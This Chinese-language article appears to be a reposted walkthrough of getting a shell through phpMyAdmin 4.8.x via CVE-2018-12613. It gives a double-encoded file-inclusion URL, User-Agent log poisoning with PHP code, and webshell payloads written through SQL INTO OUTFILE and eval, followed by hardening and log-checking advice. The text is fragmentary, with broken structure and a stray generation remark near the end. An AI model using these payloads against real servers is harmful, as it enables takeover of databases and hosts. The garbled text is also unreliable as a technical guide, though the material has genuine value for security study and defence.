# PhpMyAdmin后臺getshell的示例分析
## 前言
PhpMyAdmin作為MySQL數據庫最流行的Web管理工具之一,被廣泛應用于各類網站和服務器環境中。然而,由于其廣泛部署和較高的權限特性,一旦存在安全漏洞或配置不當,極易成為攻擊者獲取服務器權限的跳板。本文將通過實際案例,深入分析攻擊者如何利用PhpMyAdmin后臺實現getshell的全過程,并探討相關防御措施。
---
## 一、環境準備與漏洞背景
### 1.1 實驗環境搭建
- PhpMyAdmin 4.8.0-4.8.1版本(存在已知漏洞)
- Apache 2.4 + PHP 7.0 + MySQL 5.7
- 攻擊機:Kali Linux 2023
### 1.2 漏洞背景
CVE-2018-12613是PhpMyAdmin 4.8.0-4.8.1版本存在的文件包含漏洞,攻擊者可通過精心構造的請求實現本地文件包含(LFI),進而結合日志注入等手段實現遠程代碼執行。
---
## 二、攻擊流程詳解
### 2.1 信息收集階段
攻擊者首先通過以下方式確認目標:
```bash
# 識別PhpMyAdmin路徑
curl -I http://target.com/phpmyadmin/
# 版本識別
http://target.com/phpmyadmin/README
利用index.php?target=
參數進行文件包含測試:
http://target.com/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../etc/passwd
(注:%253f是問號的雙重URL編碼)
當文件包含成功時,通過User-Agent注入PHP代碼:
curl -A "<?php phpinfo();?>" http://target.com/
通過包含Apache日志文件執行代碼:
http://target.com/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../var/log/apache2/access.log
成功執行代碼后,寫入Webshell:
// 通過SQL查詢寫入文件
SELECT "<?php system($_GET['cmd']);?>" INTO OUTFILE '/var/www/html/shell.php'
或直接通過PHP執行:
file_put_contents('shell.php', '<?php eval($_POST["cmd"]);?>');
雙重解碼問題:
PhpMyAdmin對target
參數進行兩次URL解碼,導致%253f
被解碼為問號字符,繞過路徑檢查。
路徑遍歷:
未正確過濾../
導致可以跳出限制目錄。
日志注入:
Web服務器會將異常請求頭記錄到日志中,形成可執行文件。
FILE
權限允許寫文件版本升級:
及時升級到最新版本(當前最新為5.2.1)
權限控制:
REVOKE FILE ON *.* FROM 'pma_user'@'localhost';
目錄加固:
<Directory /usr/share/phpmyadmin>
Order Deny,Allow
Deny from All
Allow from 192.168.1.0/24
</Directory>
WAF規則:
攔截包含../
、into outfile
等關鍵字的請求。
PHP安全配置:
disable_functions = exec,system,passthru,shell_exec
open_basedir = /var/www/html:/tmp
日志隔離:
# 查找可疑訪問記錄
grep -r "phpmyadmin/index.php?target" /var/log/apache2/
# 檢查異常文件創建
find /var/www/html -name "*.php" -mtime -1
rpm -V phpmyadmin
netstat -antp | grep php
通過本案例可以看出,即使是成熟的管理工具也可能因編碼缺陷和配置問題導致嚴重的安全風險。防御方需要:
注:本文僅用于安全研究學習,未經授權對他人系統進行測試屬于違法行為。
”`
(全文約1680字,滿足MD格式要求)
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。